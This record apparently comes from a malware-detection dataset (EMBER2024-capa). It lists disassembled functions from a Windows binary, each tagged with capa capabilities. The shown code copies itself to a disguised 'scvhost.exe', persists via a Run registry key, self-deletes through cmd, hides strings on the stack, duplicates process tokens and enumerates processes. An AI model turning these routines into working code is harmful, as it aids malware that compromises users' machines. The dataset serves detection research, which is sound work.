joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005544
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.10005309
push 0
push str.cmd__c_echo._c:del__exit
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10005826
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
push edi
push 0x170
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x2e0]
push ecx
call fcn.100118b0
add esp, 0xc
mov byte [ebp - 0x168], 0
mov ecx, 0x59
xor eax, eax
lea edi, [ebp - 0x167]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea edx, [ebp - 0x1d4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xffffffff
jne 0x10005893
xor eax, eax
jmp 0x10005984
push 0
lea eax, [ebp - 0x16c]
push eax
mov ecx, dword [ebp + 0xc]
sub ecx, 0x170
push ecx
mov edx, dword [ebp + 8]
add edx, 0x170
push edx
mov eax, dword [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100058c8
xor eax, eax
jmp 0x10005984
mov ecx, dword [ebp - 0x170]
push ecx
call dword [0x1003f844]
lea edx, [ebp - 0x2d8]
push edx
call fcn.10012650
add esp, 4
test eax, eax
je 0x1000590d
lea eax, [ebp - 0x2d8]
push eax
lea ecx, [ebp - 0x1d4]
push ecx
push str._s__s
lea edx, [ebp - 0x168]
push edx
call dword [0x1003f894]
add esp, 0x10
jmp 0x10005921
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x168]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x2dc]
mov dword [ebp - 0x2e4], edx
cmp dword [ebp - 0x2e4], 0
je 0x1000594a
cmp dword [ebp - 0x2e4], 1
je 0x1000595d
cmp dword [ebp - 0x2e4], 3
je 0x10005970
jmp 0x1000597f
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.10005563
add esp, 8
jmp 0x1000597f
push 0
lea ecx, [ebp - 0x168]
push ecx
call fcn.10005563
add esp, 8
jmp 0x1000597f
lea edx, [ebp - 0x168]
push edx
call fcn.10005544
add esp, 4
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10005d8b
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
push esi
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [ebp - 0x160]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xc
xor eax, eax
lea edi, [ebp - 0x136]
rep stosd dword es:[edi], eax
push 0
lea ecx, [ebp - 0x160]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x164]
push eax
push 0xf003f
push 0
push 0x10031ce0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10005e4c
push 0x104
lea ecx, [ebp - 0x104]
push ecx
push 1
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x164]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x164]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10006796
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x100067c6
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0x1f53
push 0x1002e5c4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100067e8
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10007606
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push edi
mov dword [ebp - 0x128], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0x1c
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov dword [ebp - 0x114], 0x10037212
push 0x10031f38
lea ecx, [ebp - 0x10c]
push ecx
call fcn.10012380
add esp, 8
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.10012380
add esp, 8
push 0x10031f3c
lea ecx, [ebp - 0x10c]
push ecx
call fcn.10012380
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push closesocket
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
je 0x10007759
push 0
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.100121e4
add esp, 4
mov dword [ebp - 0x120], eax
mov edx, dword [ebp - 0x120]
mov dword [ebp - 0x11c], edx
push 0
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
mov ecx, dword [ebp - 0x128]
call fcn.1000759b
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x124]
push ecx
call fcn.100118a5
add esp, 4
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x100079ad
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push edi
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x11c], 0x25
mov byte [ebp - 0x11b], 0x34
mov byte [ebp - 0x11a], 0x64
mov byte [ebp - 0x119], 0x2d
mov byte [ebp - 0x118], 0x25
mov byte [ebp - 0x117], 0x2e
mov byte [ebp - 0x116], 0x32
mov byte [ebp - 0x115], 0x64
mov byte [ebp - 0x114], 0x2d
mov byte [ebp - 0x113], 0x25
mov byte [ebp - 0x112], 0x2e
mov byte [ebp - 0x111], 0x32
mov byte [ebp - 0x110], 0x64
mov byte [ebp - 0x10f], 0x20
mov byte [ebp - 0x10e], 0x25
mov byte [ebp - 0x10d], 0x2e
mov byte [ebp - 0x10c], 0x32
mov byte [ebp - 0x10b], 0x64
mov byte [ebp - 0x10a], 0x3a
mov byte [ebp - 0x109], 0x25
mov byte [ebp - 0x108], 0x2e
mov byte [ebp - 0x107], 0x32
mov byte [ebp - 0x106], 0x64
mov byte [ebp - 0x105], 0
mov ecx, dword [ebp - 0x12e]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x130]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x132]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x136]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x138]
and edx, 0xffff
push edx
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
mov byte [ebp - 0x128], 0x4d
mov byte [ebp - 0x127], 0x61
mov byte [ebp - 0x126], 0x72
mov byte [ebp - 0x125], 0x6b
mov byte [ebp - 0x124], 0x54
mov byte [ebp - 0x123], 0x69
mov byte [ebp - 0x122], 0x6d
mov byte [ebp - 0x121], 0x65
mov byte [ebp - 0x120], 0
push 0
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x104]
push eax
push 1
lea ecx, [ebp - 0x128]
push ecx
push 0x100374b4
push closesocket
call fcn.1001162a
add esp, 0x1c
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10008464
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push str.LJPXYXC
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10008497
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x100084f2
push 0
push 0
push 0
push 0
push 0x100080ca
push 0
push 0
call fcn.10010a52
add esp, 0x1c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0x10007bb4
push 0
push 0
call fcn.10010a52
add esp, 0x1c
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
push ecx
call dword [0x1003f854]
mov edx, dword [ebp - 4]
push edx
call dword [0x1003f844]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x100084f6
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push str.userenv.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x4c], eax
push str.CreateEnvironmentBlock
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
push 0x44
push 0
lea ecx, [ebp - 0x44]
push ecx
call fcn.10012110
add esp, 0xc
push 0x10
push 0
lea edx, [ebp - 0x68]
push edx
call fcn.10012110
add esp, 0xc
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x3c], 0x10037600
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x54]
push eax
push 0xf01ff
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea edx, [ebp - 0x50]
push edx
push 1
push 1
push 0
push 0x2000000
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push 0x10037610
push 0x10037630
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
je 0x10008647
call dword [ebp - 0x78]
mov dword [ebp - 0x74], eax
push 4
lea ecx, [ebp - 0x74]
push ecx
push 0xc
mov edx, dword [ebp - 0x50]
push edx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push 0
mov eax, dword [ebp - 0x50]
push eax
lea ecx, [ebp - 0x6c]
push ecx
call dword [ebp - 0x70]
lea edx, [ebp - 0x68]
push edx
lea eax, [ebp - 0x44]
push eax
push 0
mov ecx, dword [ebp - 0x6c]
push ecx
push 0x430
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
mov eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x48], ecx
jmp 0x1000864e
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x4c], 0
je 0x1000865e
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x48]
mov esp, ebp
pop ebp
ret
Function at 0x1000896d
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push edi
mov dword [ebp - 0x18], 0x104
mov dword [ebp - 0x35c], 0
push 0x104
push 0
lea eax, [ebp - 0x354]
push eax
call fcn.10012110
add esp, 0xc
push 0x2e
mov ecx, dword [ebp + 8]
push ecx
call fcn.10012620
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x100089bc
xor al, al
jmp 0x10008b81
lea edx, [ebp - 0x358]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0x14]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100089e4
xor al, al
jmp 0x10008b81
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x354]
push edx
push 0
mov eax, dword [ebp - 0x358]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp - 0x358]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
push 0
lea edx, [ebp - 0x20c]
push edx
call fcn.10012110
add esp, 0xc
lea eax, [ebp - 0x354]
push eax
push str._s_shellopencommand
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x358]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x20c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10008a68
xor al, al
jmp 0x10008b81
push 0x104
push 0
lea ecx, [ebp - 0x354]
push ecx
call fcn.10012110
add esp, 0xc
mov dword [ebp - 0x18], 0x104
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x354]
push eax
push 0
mov ecx, dword [ebp - 0x358]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov edx, dword [ebp - 0x358]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100376c8
lea eax, [ebp - 0x354]
push eax
call fcn.10012d80
add esp, 8
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
jne 0x10008ae9
push 0x100376cc
lea ecx, [ebp - 0x354]
push ecx
call fcn.10012d80
add esp, 8
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
jne 0x10008b17
push 0x100376d0
lea edx, [ebp - 0x354]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x354]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10008b28
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x250], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x24c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x250], 0x44
cmp dword [ebp + 0xc], 0
je 0x10008b5b
mov dword [ebp - 0x248], str.WinSta0Default
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x250]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x354]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10008dac
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov dword [ebp - 0x130], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10008ded
xor eax, eax
jmp 0x10008e4d
mov edx, 1
test edx, edx
je 0x10008e3d
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10008e16
jmp 0x10008e3d
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.10012590
add esp, 8
test eax, eax
jne 0x10008e3b
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x130], ecx
jmp 0x10008e3d
jmp 0x10008ded
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
mov esp, ebp
pop ebp
ret
Function at 0x1000acfd
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.10012370
add esp, 8
push 0x104
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.USER32.dll_CharLowerBuffA]
mov dword [ebp - 0x230], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffff
jne 0x1000ad61
push str.CreateToolhelp32Snapshot__
call fcn.10012460
add esp, 4
xor al, al
jmp 0x1000adfd
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
call sub.KERNEL32.dll_Process32First
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x108], al
mov edx, dword [ebp - 0x108]
and edx, 0xff
test edx, edx
je 0x1000adee
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x20c]
push edx
call fcn.10012590
add esp, 8
test eax, eax
jne 0x1000adcd
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1000adfd
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call sub.KERNEL32.dll_Process32Next
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x108], al
jmp 0x1000ad80
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x1000bc5e
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push str.Ole32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2c], eax
push str.CoInitialize
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push str.CoUninitialize
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push str.CoCreateInstance
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push str.Oleaut32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], eax
push str.SysFreeString
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 0
call dword [ebp - 0x1c]
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x10]
push ecx
push 0x10028a6c
push 1
push 0
push 0x10028a8c
call dword [ebp - 4]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x1000bcf9
xor eax, eax
jmp 0x1000bde6
push 0
lea edx, [ebp - 0x30]
push edx
push 0x10028a7c
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x10]
push edx
call dword [ecx + 0xc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x1000bd20
xor eax, eax
jmp 0x1000bde6
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x30]
push edx
call dword [ecx + 0x14]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 1
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x30]
push ecx
call dword [eax + 0xc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1000bdc0
lea edx, [ebp - 0x34]
push edx
push 0x10027590
push 0
push 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
call dword [ecx + 0x24]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x1000bdaf
mov word [ebp - 0x44], 8
push 0
lea eax, [ebp - 0x44]
push eax
push str.FriendlyName
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x34]
push eax
call dword [edx + 0xc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1000bda3
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x34]
push edx
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
call dword [ecx + 8]
jmp 0x1000bd2c
call dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 0
je 0x1000bdd3
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0x14], 0
je 0x1000bde3
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x1000bea2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push edi
mov byte [ebp - 0x428], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0x14]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.10012110
add esp, 0xc
push 0x400
push 0
lea edx, [ebp - 0x428]
push edx
call fcn.10012110
add esp, 0xc
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0
push 0x10037118
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp + 0x10]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
push 0x1003a4bc
push closesocket
call fcn.100112d9
add esp, 0x20
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000c53d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], 0
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1000c573
xor al, al
jmp 0x1000c62f
lea eax, [ebp - 0xc]
push eax
push 0
lea ecx, [ebp - 4]
push ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1000c5a7
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x1000c62f
mov edx, dword [ebp - 0xc]
push edx
call fcn.100121e4
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov edx, dword [ebp + 0x14]
cmp dword [edx], 0
jne 0x1000c5d4
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x1000c62f
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
push eax
push 0
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1000c61b
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.100118a5
add esp, 4
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x1000c62f
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp - 0xc]
mov dword [edx], eax
mov al, 1
mov esp, ebp
pop ebp
ret